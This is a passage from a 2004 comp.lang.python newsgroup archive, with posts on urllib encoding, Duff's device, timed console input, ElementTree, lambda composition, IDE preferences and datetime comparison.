Intermixed with the web page data returned by urllib, is bits and pieces (10-20 characters long) of local file and directory names. Only happens reading some web pages (EUC-JP encoded as with the original problem) but I'm wondering if there are some single-byte/double-byte character issues with urllib. That would be surprising to me given that urllib is shipped with the Python distribution, I would think that any core libs would be pretty bombproof. (Am I being naive? :-) Of course, still possible I hosed something in my script, so I will double check... From imbosol at aerojockey.com Mon Sep 27 16:10:19 2004 From: imbosol at aerojockey.com (Carl Banks) Date: 27 Sep 2004 13:10:19 -0700 Subject: open and shut case References: <NIT0d.400083$gE.34432@pd7tw3no> <878ybfk3rf.fsf@pobox.com> <Y201d.1624$_G4.38@newsread3.news.pas.earthlink.net> Message-ID: <60dfb6f6.0409271210.4737d453@posting.google.com> Andrew Dalke <adalke at mindspring.com> wrote in message news:<Y201d.1624$_G4.38 at newsread3.news.pas.earthlink.net>... > John J. Lee wrote: > > PS. these days, your subject line sounds distinctly spammish > > (especially since it's a woman posting the message to a > > comp. newsgroup -- how likely can that be? ;-) > > What the .... ??! Was that supposed to be funny? The smiley > suggests you thought it was. It isn't. It's crude and rude. http://www.winternet.com/~mikelr/flame6.html -- CARL BANKS From __peter__ at web.de Fri Sep 10 11:24:25 2004 From: __peter__ at web.de (Peter Otten) Date: Fri, 10 Sep 2004 17:24:25 +0200 Subject: Is there no switch function in Python References: <CR20d.46131$Vf.2380522@news000.worldonline.dk> <1Zb*VOguq@news.chiark.greenend.org.uk> <roy-03E598.09352710092004@reader1.panix.com> <87llfip5ep.fsf@sinken.local.csis.hku.hk> Message-ID: <chsgva$9f4$00$1@news.t-online.com> Isaac To wrote: > a cheap replacement of a sequence of if-then-else. E.g., in an > exercise of "The C++ Programming Language" of Bjarne Stroustrup, you > can see the following example code: > > void send(int *to, int *from, int count) { > int n = (count + 7) / 8; > switch (count % 8) { > case 0: do { *to++ = *from++; > case 7: *to++ = *from++; > case 6: *to++ = *from++; > case 5: *to++ = *from++; > case 4: *to++ = *from++; > case 3: *to++ = *from++; > case 2: *to++ = *from++; > case 1: *to++ = *from++; > } while (--n > 0); > } > } This is otherwise known a Duff's device: http://catb.org/~esr/jargon/html/D/Duffs-device.html Peter From cbuffer at NOSPAMrosecott.ukfsn.org Mon Sep 13 18:58:18 2004 From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes) Date: Mon, 13 Sep 2004 23:58:18 +0100 Subject: #comments References: <pan.2004.09.13.21.27.31.291385@NOSPAMrosecott.ukfsn.org> <4146117c$0$7601$636a15ce@news.free.fr> <pan.2004.09.13.21.44.07.330927@NOSPAMrosecott.ukfsn.org> <pan.2004.09.13.22.54.43.530988@NOSPAMrosecott.ukfsn.org> Message-ID: <pan.2004.09.13.22.58.18.360866@NOSPAMrosecott.ukfsn.org> Thanks to all for the wisdom, one small step etc. And Pan sorted, not bad for an evenings work. Ken. From bokr at oz.net Tue Sep 28 21:25:22 2004 From: bokr at oz.net (Bengt Richter) Date: 29 Sep 2004 01:25:22 GMT Subject: python vs c# References: <mailman.3520.1095631846.5135.python-list@python.org> <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> <mailman.3529.1095642828.5135.python-list@python.org> <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> <41513aac$0$285$edfadb0f@dread12.news.tele.dk> <1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com> <37tjl09an200u6tejkrtklc8ib86uk7rm1@4ax.com> Message-ID: <cjd2u2$f0s$0$216.39.172.122@theriver.com> On Wed, 29 Sep 2004 02:39:51 +0300, Christos "TZOTZIOY" Georgiou <tzot at sil-tec.gr> wrote: >On Wed, 22 Sep 2004 11:18:35 +0200, rumours say that aleaxit at yahoo.com >(Alex Martelli) might have written: > >>> Well, not to feed the troll, but there is a few relevant points in it's >>> posting. >> >>(Please, please, please: "its", not "it's"... pretty please...) > >(Late reply that maybe can make one smile) > >Alex, you are 99% correct. Leave a 1% chance that Max referred to >"julio" as "it"... :) Trolls are genderless! If a troll posts, it's its fault if its its's and its "it's"s (it'ses ?!) are not used correctly ;-) Ok, I stuck my neck out, but I suspect Alex is at least 99.999% right ;-) BTW, did you notice that and's letter count is 3, and also that it's letter count is 2 ;-) Regards, Bengt Richter From aleaxit at yahoo.com Thu Sep 9 16:27:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 22:27:03 +0200 Subject: Is except: ... pass bad style? References: <pan.2004.09.09.16.26.16.985806@python.net> <chq3vi$qb0$01$1@news.t-online.com> <pan.2004.09.09.17.56.54.316784@python.net> Message-ID: <1gjva9x.1aup86p1pcaqhdN%aleaxit@yahoo.com> marduk <marduk at python.net> wrote: > Based on all the responses received thus far, I thought of a way of > doing it without an exception: > > myobj.__dict__.get('method', lambda : None)() Have you TRIED this? most likely, myobj.method is NOT reaching into myobj.__dict__, but rather into type(myobj). getattr is WAY superior! Alex From http Thu Sep 9 15:12:05 2004 From: http (Paul Rubin) Date: 09 Sep 2004 12:12:05 -0700 Subject: Shorter checksum than MD5 References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be> <7xfz5rn1w2.fsf@ruckus.brouhaha.com> <hNX%c.241261$Ch3.12334176@phobos.telenet-ops.be> Message-ID: <7xllfjfe9m.fsf@ruckus.brouhaha.com> Mercuro <this at is.invalid> writes: > I have a proprietary system, which I can't modify. But, it uses Foxpro > DBF files which I can read. I have found all the data I want to have > in a MySQL table. (this table will be used to lookop prices and to > find other information about articles) > > Since I'm not able to put some timestamps on changed records, I got > the idea to put a checksum on each record and save it in the MySQL > table. Every night I would 'SELECT' all checksums together with the > artikelnumbers and than compare it one by one with newly calculated > checksums from the DBF file. Only the changed checksums shall be > 'UPDATED' and missing numbers would be 'INSERTED'. I'm a little confused. Is only the DBF file getting updated? If you can put a checksum on each record, why can't you put a timestamp on each record? Or why can't you just migrate all the data from the DBF into another file every night, and then just scan the file to find the changes from the previous night's version? > This is the code I have for now: > (I will probably change md5 with crc32) Where are the updates coming from? Note that if you use a 32-bit checksum, with 100000 records you will probably have some records with the same checksum by accident. Is that a problem? Also, with CRC32, it's very easy to create a record on purpose that has any given checksum. Is THAT a problem? For example, it means that if someone can change the price of an article, he can choose a new price so that the record will have the same checksum as the old price and the change won't get noticed. Could he buy something for $1.00, change the price to $11.73 or something, then return the item and get an $11.73 refund because you didn't notice the update? From me at privacy.net Fri Sep 24 14:10:54 2004 From: me at privacy.net (Richard Hanson) Date: Fri, 24 Sep 2004 11:10:54 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> <mailman.3821.1095980182.5135.python-list@python.org> <itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com> <mailman.3830.1095998544.5135.python-list@python.org> <1gkm0tv.1xasn1m14tgujgN%aleaxit@yahoo.com> Message-ID: <lmo8l0pc47u87t31145j7spcpe2f0gr3pu@4ax.com> [A heads up: Moderate length post; little added value by me. :-) ] Alex Martelli wrote: > Jack Diederich <jack at performancedrivers.com> wrote: > ... > > Hmm, you could go with Daleth, the Hewbrew letter that means Door. > > Great suggestion. While daleth.org and daleth.com are taken, daleth.net > is free, too. > > > A glance at the first google page shows no software with that moniker. > > As a logo it isn't terribly sexy, but you could work on it (the current > > ?! It means (inter alia) Tarot Trump III, The Empress (Venus, Earth > Mother, Demeter -- fertility, bounty, creativity -- Daughter of the > Mighty Ones) -- there are renderings galore, and while of course many > are quite chaste, finding sexy ones is the least of your problems!-) Alex's comments on the sexiness of "Daleth" noted with humor. ;-) Once again, I am impressed by the incredible store of general as well as specific knowledge available even in such a specific group as c.l.py. I'm a generalist, and much appreciate the opportunities to broaden my education through edification such as the above. > > ps, to any whackadoodles: no neocon conspiracy here, it just happens that > > when I was young my parents sent me to a place called "a school" > > Heh, I may be out of the current US cultural picture, I guess, but I > wouldn't particularly connect tarot and kabbalah to neocons... I didn't comment on Jack's PS, originally. I'm aware of the 'Merkin cultural picture, but studies of philosophy over the years along with general observations of, and introspections into, the human condition, have rendered me quite apolitical. I *did* get Jack's reference and took it in what I think was the spirit intended -- facts, not political agendas, given with humor. Thanks for the comments to both of you! apolitically-and-agendaless'ly y'rs, Richard Hanson -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From rm at rm.rm Sun Sep 19 21:46:59 2004 From: rm at rm.rm (Radioactive Man) Date: Mon, 20 Sep 2004 01:46:59 GMT Subject: Need function like "raw_input", but with time limit References: <1fhpk0pfgvupkdk2i43qg3olahij29qesb@4ax.com> <1gkcxpr.gihdewhg6wadN%aleaxit@yahoo.com> Message-ID: <facsk0lp406o3s0t27hsrksutcg4hccbon@4ax.com> On Sun, 19 Sep 2004 11:21:49 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >Radioactive Man <rm at rm.rm> wrote: > >> anyone know of a function like "raw_input", which collects a string >> from the user entry, but one where I can set a time limit, as follows: >> >> time_limit = 10 # seconds >> user_answer = function_xyz("GIVE ME AN ANSWER: ", time_limit) >> >> >> The problem with "raw_input" is that it will stop unattended script >> indefinitely. I'm looking for a function that does the exact same >> thing, but with a time limit feature, and preferably one that returns >> an empty string ('') when it gets no response. Any suggestions? > >It depends on what platforms you need to run on. On any kind of >Unix-like platform (including Linux, BSD, MacOSX, ...), the function >select of module select can work on any kind of files, including >sys.stdin, and it does provide timeout functionality, too. So, you >could sys.stdout.write the prompt, then call select.select with >sys.stdin.fileno as the only file descriptor of interest and whatever >timeout you wish. Depending on what select.select returns you can then >either sys.stdin.readline (and strip the trailing \n) or just return the >empty string from your function. > >Unfortunately, on Windows, select.select works only on sockets, not >ordinary files nor the console. So, if you want to run on Windows, you >need a different approach. On Windows only, the Python standard library >has a small module named msvcrt, including functions such as >msvcrt.kbhit which tells you whether any keystroke is waiting to be >read. Here, you might sys.stdout.write the prompt, then enter a small >loop (including a time.sleep(0.2) or so) which waits to see whether the >user is pressing any key -- if so then you can sys.stdin.readline etc, >but if after your desired timeout is over no key has been hit, then just >return the empty string from your function. In other words, the user must make any entries while the time.sleep() statement is running. If the user has entered data during this time, it should be indicated by the value of msvcrt.kbhit(). The problem I've had is that msvcrt.kbhit() returns 0 no matter what I've entered before the statement is executed and while the sleep statement is being executed. > >All of this assumes that if the user has STARTED typing something then >you want to wait indefinitely (not timeout in the middle of their >entering their answer!). Otherwise, you have more work to do, since you >must ensure that the user has hit a Return (which means you must peek at >exactly what's in sys.stdin, resp. use msvcrt.getch, one character at a >time). Fortunately, the slightly simpler approach of waiting >indefinitely if the user has started entering seems to be the preferable >one from a user interface viewpoint -- it lets you deal with unattended >consoles as you desire, yet IF the user is around at all it gives the >user all the time they want to COMPLETE their answer. > > >Alex > Thanks for the info. From ian at cottee.org Wed Sep 15 02:06:04 2004 From: ian at cottee.org (Ian J Cottee) Date: Wed, 15 Sep 2004 15:06:04 +0900 Subject: i am going to get crazy!!! In-Reply-To: <mailman.3342.1095212808.5135.python-list@python.org> References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com> <mailman.3342.1095212808.5135.python-list@python.org> Message-ID: <fn2l12-pp4.ln1@suse.zobbo.org> Carlos Ribeiro wrote: > -- There are two classes of developers: those who like IDEs and those > who doesn't. The latter camp includes people that swear by Emacs, VIM, > and stuff like that. I don't mean to sound badly, but such people > don't get what's the fuss about a good IDE. They come from another > background, and normally write another type of software, one that > doesn't need such "fancy" gadgetry to work. Don't try to argue with > them -- there's no right and wrong here, just different styles at > work. Must resist religious wars. Must resist religious wars BUT :-) ... Emacs *is* an IDE. More integrated than many others. And to be fair VIM is an IDE. If, within emacs I can get syntax hilighting, code completion, block indent/outdent, debugging, project management, code folding I would call that an IDE. And I have the same functions if I then need to edit some SQL, Javascript, ZPT etc. And when I want to play with Lisp in my spare time I can use the same environment. It's that flexibility that I like. It isn't perfect though. Hence why I have been searching for something better as well. Maybe the future is Eclipse. Maybe the future is Emacs++. We shall see and I will continue to evaluate :) Ian From paul at boddie.org.uk Mon Sep 20 05:41:05 2004 From: paul at boddie.org.uk (Paul Boddie) Date: 20 Sep 2004 02:41:05 -0700 Subject: Database->python->Xml->Xslt->Client References: <4c900ea0.0409172237.3e5abf25@posting.google.com> <cigqq6$mnp$1@news-reader5.wanadoo.fr> <1gkb1h7.8azms01gn7bxsN%aleaxit@yahoo.com> <cih7uh$388$1@news-reader4.wanadoo.fr> Message-ID: <5339b60d.0409200141.6a65b866@posting.google.com> Michel Claveau - abstraction m?ta-galactique non trivial e en fuite perp?tuelle. <unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom> wrote in message news:<cih7uh$388$1 at news-reader4.wanadoo.fr>... > Hi ! > > HTML also is verbose... Thanks for that informed commentary on the matter. I'm sure the verbosity of HTML and XML with respect to your favourite binary wire format (and presumably your favourite client software, too, given that we're looking at a browser solution) really passed the original contributor by. Back to the suggested architecture: if you're purely worried about network bandwidth, then provided the XML is much smaller than any presented page, I suppose you could use client-side XSL in order to reduce the bandwidth requirement. But if any reduced bandwidth requirement is just one way of getting better performance, I'm not completely convinced that you wouldn't be better served with something like libxslt on the server producing the final output; in my experience, its performance is pretty impressive on modest hardware in comparison to other such processors (on much bigger hardware). Moreover, by retaining XSL processing on the server, you would avoid potentially controversial browser requirements - it's bad enough working round browser issues with supposedly "simple" stuff like XHTML and CSS without bringing XSL into the equation. Paul From aleaxit at yahoo.com Mon Sep 27 16:43:54 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 27 Sep 2004 22:43:54 +0200 Subject: Metaclass with name overloading. References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <3c13hh0e.fsf@python.net> <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com> <mailman.3973.1096311322.5135.python-list@python.org> Message-ID: <1gksmv9.16x5x311rr60oiN%aleaxit@yahoo.com> Carlos Ribeiro <carribeiro at gmail.com> wrote: > On Mon, 27 Sep 2004 19:11:14 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > > so, class blop doesn't really have an 'f' (it does have it in the > > __dict__, but it's a dummy '_ignore_method' entry with a suitable custom > > metaclass would easily prune!-) but has __overloaded__f__0 and > > __overloaded__f__1 methods (which, again, a suitable custom metaclass > > could do whatever wonders with!-). > > The decorator could play it safe, and at the same time, return > something like the original poster expects. Upon decoration the I think it's a better architecture to have the metaclass process all the overloads, and until the metaclass runs, leave a marker-value for the name. Otherwise, uncaught errors are just too likely. > following would happen: > > 1) store the newly declared object in the list __overloaded__<$name>. So far, so NP -- I did name mangling period, but name mangling plus indexing is fine too. > 2) return a new object (to be bound to the <$name>), where > <$name>.__call__ would return __overloaded__<$name>[-1]; and > f.__iter__ would return an iterator for all declaration in the order > they appear. I think you'll have more nondiagnosable error cases this way. You can add more error checking to the very simple decorator I posted, of course. The key issue to catch is the error whereby some occurrences of the name are correctly decorated '@ overload' and others aren't. Decorator and metaclass working together can do it, but if you don't ensure the metaclass runs at the end (and it seems to me your approach wouldn't) then such errors towards the end would stay uncaught. > The problem is that the methods were not bound to the instance. Adding > individual names to each method won't work, because it'll not bind the > references stored in the overload_list. I thought about using a > closure or curry type of solution, but that's something that I still > don't understand very well. Any tips? Do it in the metaclass. Unless the metaclass was indispensable (and it is) you could use custom descriptors, too; Raymond Hettinger has a nice essay on descriptors that shows how to write your own custom ones. Alex From rpw3 at rpw3.org Thu Sep 2 04:55:28 2004 From: rpw3 at rpw3.org (Rob Warnock) Date: Thu, 02 Sep 2004 03:55:28 -0500 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <4134a207$0$65568$a1866201@newsreader.visi.com> <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <4135ce4a$0$19726$61fed72c@news.rcn.com> Message-ID: <ApudnfQdCY-dfavcRVn-pQ@speakeasy.net> <jmfbahciv at aol.com> wrote: +--------------- | rpw3 at rpw3.org (Rob Warnock) wrote: | >| Consider the "PIP" command. | >+--------------- | > | >Indeed. And COPY & DEL & DIR, etc. | | Well, not quite :-). COPY and DELETE called PIP via a CCL | command. DIRECT became its own program. To do a directory | using PIP required a switch and wasn't a monitor level command. +--------------- Yes, I knew that. What I was trying to convey is that the *names* of those DOS commands had also been copied from the DEC lineages. That is, COPY/DEL/DIR rather than cp/rm/ls. -Rob ----- Rob Warnock <rpw3 at rpw3.org> 627 26th Avenue <URL:http://rpw3.org/> San Mateo, CA 94403 (650)572-2607 From apardon at forel.vub.ac.be Thu Sep 2 07:27:36 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 2 Sep 2004 11:27:36 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <cgn73r$scr$1@nntp0.reith.bbc.co.uk> <mailman.2515.1093608707.5135.python-list@python.org> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <zILXc.54863$xi6.26091@fe2.texas.rr.com> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> <slrncj8kv2.kp.apardon@trout.vub.ac.be> <slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au> <slrncj94hr.kp.apardon@trout.vub.ac.be> <du7oekrnwc8.fsf@amadeus.cc.tut.fi> <slrncjaq3l.kp.apardon@trout.vub.ac.be> <pan.2004.09.01.12.03.39.285610@jerf.org> Message-ID: <slrncje0vr.7or.apardon@rcpc42.vub.ac.be> Op 2004-09-01, Jeremy Bowers schreef <jerf at jerf.org>: > On Wed, 01 Sep 2004 06:13:09 +0000, Antoon Pardon wrote: > >> If you need a function or class just to avoid nesting, then IMO >> you have only camoeflaged it. > > If you are dividing your function merely on nesting grounds, you've missed > the point. Well then I think the point was ill brought. > You'll find that if you do this correctly, you code more quickly, test > more easily, and after practicing for a couple of years you will never > again have the situation where you say to yourself "Gee, I'd really like > to use that functionality over there, but it is so wrapped up in other > extraneous garbage that it is easier to (do it from scratch/copy and > paste/live without it)." I haven't come up in such a situation for tens of years. So I think I'm doing well enough. I also have been programming enough to know that for every programming rule to program in a readable fashion and producing easily maintainable code, there are situation where it is better to break the rule then to follow it if you really want readable and easily maintainable code. > If you're dissing it, you haven't tried it. Why don't you try it for a > while? Deeply nested functions are *bad*; continual use of them as an > employee of mine would be a firing offense (after suitable warnings), on > the grounds that code so produced has very limited worth compared to what > it should have. Deeply nested functions are harder to understand, harder > to debug, harder to re-use, harder to modify, harder to test, and all this > and no advantages, too! And from what number will you call something deeply nested? Does that limit also apply if it is reached by having a number of nested functions? I also found that you don't need that many nested levels. Suppose you have the following situation: | def function | | def localfunction | | localfunction | code | | function | code My experience is that in such a situation, especially if the local functions grows of you have more local functions it can become hard to see where the body of the global function begins. Just looking at the deindentation is not enough because that could be the result of a control suite that ended. Using an endmarker like #def can make finding the beginning of the main function a lot easier and so make the code more readable and maintainable. -- Antoon Pardon From bokr at oz.net Thu Sep 16 16:58:58 2004 From: bokr at oz.net (Bengt Richter) Date: 16 Sep 2004 20:58:58 GMT Subject: "Updating" lambda functions References: <2qtl0oF139gn6U1@uni-berlin.de> Message-ID: <cicuqi$rp0$0$216.39.172.122@theriver.com> On 16 Sep 2004 14:07:20 GMT, Oliver Fromme <olli at haluter.fromme.com> wrote: >Hi, > >I'm trying to write a Python function that parses >an expression and builds a function tree from it >(recursively). > >During parsing, lambda functions for the the terms >and sub-expressions are constructed on the fly. >Now my problem is lazy evaluation. Or at least I >think it is. :-) > >I need to "update" a lambda function, like this: > > fu = lambda x: x > ... > fu = lambda x: fu(x) + 17 > ... > fu = lambda x: fu(x) * 3 > >Of course that doesn't work, because fu is resolved >when the lambda is called, not when it's defined, so >I'll run into an endless recursion. > >My current solution is to define a helper function >which passes the lambda through its argument: > > def add_17 (fu): > return lambda x: fu(x) + 17 > > def mul_3 (fu): > return lambda x: fu(x) * 3 > > fu = lambda x: x > ... > fu = add_17(fu) > ... > fu = mul_3(fu) > >That works, but it strikes me as unclean and ugly. >Is there a better way to do it? > >Best regards > Oliver > >-- >Oliver Fromme, Konrad-Celtis-Str. 72, 81369 Munich, Germany > >``All that we see or seem is just a dream within a dream.'' >(E. A. Poe) You could exploit the way functions become bound methods, e.g., >>> fu = lambda x: x >>> fu = (lambda f,x: f(x) + 17).__get__(fu) >>> fu = (lambda f,x: f(x) * 3).__get__(fu) >>> fu(1) 54 >>> fu(0) 51 >>> fu(-15) 6 >>> fu(-16) 3 >>> fu(1,2) Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: <lambda>() takes exactly 2 arguments (3 given) >>> fu <bound method ?.<lambda> of <bound method ?.<lambda> of <function <lambda> at 0x008FD8B0>>> or, you could make a magic function-composing object with magic composing properties, exploiting the method-making mechanism in a different way, e.g., >>> class FC(object): ... def __setattr__(self, name, f): ... if not hasattr(self, name): self.__dict__[name] = [f] ... else: self.__dict__[name].append(f) ... def __getattribute__(self, name): ... if name == '__dict__': return object.__getattribute__(self, '__dict__') ... return type(self).__dict__['_xfuns'].__get__( ... object.__getattribute__(self,name)) ... def _xfuns(flist, x): ... for f in flist: x = f(x) ... return x ... >>> fc = FC() >>> fc.fu = lambda x: x >>> fc.fu = lambda x: x + 17 >>> fc.fu = lambda x: x * 3 >>> fc.fu(1) 54 >>> fc.fu(0) 51 >>> fc.fu(-15) 6 >>> fc.fu(1,2) Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: _xfuns() takes exactly 2 arguments (3 given) >>> fc.bar = lambda x: x*3 >>> fc.bar = lambda x: x+10 >>> fc.bar(0) 10 >>> fc.bar(2) 16 >>> fc.fu(-18) -3 All just to explore python's features, not to recommend specific uses ;-) Regards, Bengt Richter From steve at ferg.org Mon Sep 13 08:45:31 2004 From: steve at ferg.org (Stephen Ferg) Date: 13 Sep 2004 05:45:31 -0700 Subject: Annotatable Python docs -- now a reality !!! Message-ID: <b16e4ef7.0409130445.294ced1f@posting.google.com> Andrew Kuchling has just posted this (see below) on his blog. I'm confident that people will use this, if they know it is available. So now is the time to get the word out. This is something everyone in the Python community should know about it. ================================================== from http://www.amk.ca/diary/archives/cat_python.html#003336 September 09, 2004 Annotatable Python docs In recent months several posters on comp.lang.python have suggested that Python would benefit from making it possible for people to comment on the documentation, an approach similar to the PHP docs. However, no one has ever actually tried to set up such a system. In a half-hour hack, I wrapped a frameset around the Python 2.3.4 documentation, added some JavaScript that updates another frame to display a Wiki page for the documentation page you're viewing, and simplified the Wiki pages as much as I easily could. The resulting annotatable documentation is at http://pydoc.amk.ca/frame.html. Please go and add any commentary, links, or other material you wish. Let's see if commenting on the docs is a feature people will use, or if it's a feature people just say they'll use. From steven.bethard at gmail.com Thu Sep 23 11:12:00 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 23 Sep 2004 15:12:00 +0000 (UTC) Subject: for_some(),for_all()? References: <opseqmpvg86yt6e7@news.cisco.com> <cisc33$hpi$1@pegasus.csx.cam.ac.uk> <2Pt4d.5569$sa.1897@trndny05> Message-ID: <loom.20040923T170811-428@post.gmane.org> Raymond Hettinger <vze4rx4y <at> verizon.net> writes: > For pure speed, the following is faster and gives short-circuit behavior: > > >>> from itertools import ifilter > >>> def any(seq, pred=None): > ... for elem in ifilter(pred, seq): > ... return True > ... return False So, the other one also has short-circuit behavior: >>> def any(seq, pred=bool): ... return True in imap(pred, seq) ... >>> def pred(x): ... return x > 3 ... >>> i = iter(range(10)) >>> any(i, pred) True >>> list(i) [5, 6, 7, 8, 9] Could you explain what makes the second one faster? I'm guessing it's something like that comparing True to each element in the iterable costs more than binding each element in the iterable to elem...? Thanks, STeve From fredrik at pythonware.com Mon Sep 27 16:41:04 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 27 Sep 2004 22:41:04 +0200 Subject: elementtree behavior References: <cj9j8m$jn4$1@license1.unx.sas.com> Message-ID: <cj9tp4$ru0$1@sea.gmane.org> Tim Arnold wrote: >I have an XML snippet that I parse with ElementTree, and I get an element > called self.makeToc > > Now this code: > > print self.makeToc > if self.makeToc != None: > print 'here' > if self.makeToc: print 'but not here' > > gives this result: > <Element toc at 40197e88> > here > > Clearly self.makeToc has a value, so why isn't "if self.makeToc" True? > That is, if self.makeToc isn't None, why don't I get past 'if self.makeToc' because it's a sequence without any items. this is discussed in the element overview: http://effbot.org/zone/element.htm Note that in ElementTree 1.2 and earlier, the sequence behaviour means that an element without subelements tests as false (since it's an empty sequence). To check the return value from a function or method that may return None instead of a node, you must use an explicit test. node = fetchnode() if not node: # careful! print "node not found, or node has no subnodes" if node is None: print "node not found" </F> From fredrik at pythonware.com Sun Sep 19 13:20:14 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 19 Sep 2004 19:20:14 +0200 Subject: Need to create a soft link to a file References: <cikdik$rm0$07$1@news.t-online.com> Message-ID: <cikf0m$o7c$1@sea.gmane.org> "Markus" <m.a.r.k at gmx.de> wrote: > I'm running on Mac OS X and need to create a soft link to a file. > > I tried both makealias() and link(). While makealias creates a Finder alias just fine my > application that needs to read the reference file doesn't like this. link() produces 1) a hard > link and b) gives me the following error: OSError: [Errno 45] Operation not supported > > I guess what I'm looking for is a way to call the Unix ln command from within my python program. A plain "ln" uses link(), of course. Assuming you meant "symbolic link" and "ln -s", and that Mac OS X works like other Unixes, the function you're looking for is called os.symlink: >>> help(os.symlink) symlink(...) symlink(src, dst) Create a symbolic link. Hope this helps! </F> From fredrik at pythonware.com Sun Sep 19 06:00:09 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 19 Sep 2004 12:00:09 +0200 Subject: Need function like "raw_input", but with time limit References: <1fhpk0pfgvupkdk2i43qg3olahij29qesb@4ax.com> Message-ID: <cijl7i$3no$1@sea.gmane.org> "Radioactive Man" <rm at rm.rm> wrote: > anyone know of a function like "raw_input", which collects a string > from the user entry, but one where I can set a time limit, as follows: > > time_limit = 10 # seconds > user_answer = function_xyz("GIVE ME AN ANSWER: ", time_limit) this works on some platforms: import signal, sys def alarm_handler(*args): raise Exception("timeout") def function_xyz(prompt, timeout): signal.signal(signal.SIGALRM, alarm_handler) signal.alarm(timeout) sys.stdout.write(prompt) sys.stdout.flush() try: text = sys.stdin.readline() except: text = "" signal.alarm(0) return text </F> From julioperezsosa at yahoo.com Sun Sep 19 18:20:24 2004 From: julioperezsosa at yahoo.com (julio) Date: Sun, 19 Sep 2004 18:20:24 -0400 Subject: python is going to die! =( References: <cikveo$fld$1@sea.gmane.org> Message-ID: <cil0nb$i13$1@sea.gmane.org> julio wrote: > C?#?is?easy?to?use,fast?apps?coding?(as?python)?but!!?it?has?all?the > advantages of a compiled language i mean static typed, sorry. From agriff at tin.it Wed Sep 1 02:04:17 2004 From: agriff at tin.it (Andrea Griffini) Date: Wed, 01 Sep 2004 06:04:17 GMT Subject: Splitting a list References: <mailman.2673.1093960462.5135.python-list@python.org> Message-ID: <acpaj019unipsq6gngdu4aru04hd6vrg9e@4ax.com> On Tue, 31 Aug 2004 09:54:17 -0400, "Ian Sparks" <Ian.Sparks at etrials.com> wrote: >string.split() is very useful, but what if I want to split a list of integers on some element value? Here are a few early-morning attempts :-) def lsplit(L,sep): try: i = L.index(sep) return [L[:i]] + lsplit(L[i+1:],sep) except ValueError: return [L] def lsplit2(L,sep): i = 0 res = [] while True: try: j = L.index(sep,i) res.append(L[i:j]) i = j+1 except ValueError: res.append(L[i:]) break return res def lsplit3(L,sep): i = 0 while True: try: j = L.index(sep,i) yield L[i:j] i = j+1 except ValueError: yield L[i:] break HTH Andrea From exarkun at divmod.com Fri Sep 3 11:32:27 2004 From: exarkun at divmod.com (Jp Calderone) Date: Fri, 03 Sep 2004 11:32:27 -0400 Subject: print with no newline In-Reply-To: <F1921F85572CB04D9F55B14BDC76B3E4434A40@iron.ima.umn.edu> References: <F1921F85572CB04D9F55B14BDC76B3E4434A40@iron.ima.umn.edu> Message-ID: <41388E8B.5090308@divmod.com> Tim Golden wrote: > [Jp Calderone] > | Basically, print is only meant to help people new to the > | language get started ;) > | It often does what will make life easiest for someone who is > | just getting into things, but which is otherwise confusing, expected, > | special-casey, or otherwise undesirable. I mean, the whole > | existence of the keyword "print" is an inconsistency, right? > | One could quite reasonably expect print to be a function. > > This point of view comes up from time to time on the list > and for the life of me I can't buy into it. Putting aside > the obviously tongue-in-cheek implication that only beginners > would use print, I have almost never found print to be > "confusing... or otherwise undesirable". It does exactly > what I expect it to do with the minimum of syntactic clutter. Have you ever run into or relied on the behavior that started this thread? I can't imagine how you might deduce that behavior from the rest of print's behavior. Let me also clarify - I use print all the time. It's quite convenient and rarely does something other than what I intend. That said, almost all my uses of it are for debugging or in the interactive interpreter when investigating some object or behavior. I can't remember the last time I left it in a real program. > [snip] > > I would *not* reasonably expect print to be a function. Why > should it be? Certainly any move to remove the print statement > from the language or to replace it by a print function would > get my thumbs-down (or whichever way round the Romans did it). > Lots of other people expect it to be a function. I can't count the number of times I've read this in someone's code: print(x) That said, I don't propose changing it. Jp From donnal at donnal.net Tue Sep 14 07:52:14 2004 From: donnal at donnal.net (Donnal Walter) Date: Tue, 14 Sep 2004 06:52:14 -0500 Subject: comparing datetime with date Message-ID: <ci6m1f$goq$1@sea.gmane.org> I was very surprised to discover that >>> import datetime >>> x = datetime.date(2004, 9, 14) >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15) >>> print x == y True How can these two objects be considered equal? Is there a *general* way to test for date != datetime as well as 4.5 != 4.6? Donnal Walter Arkansas Children's Hospital From drysdam at ll.mit.edu Fri Sep 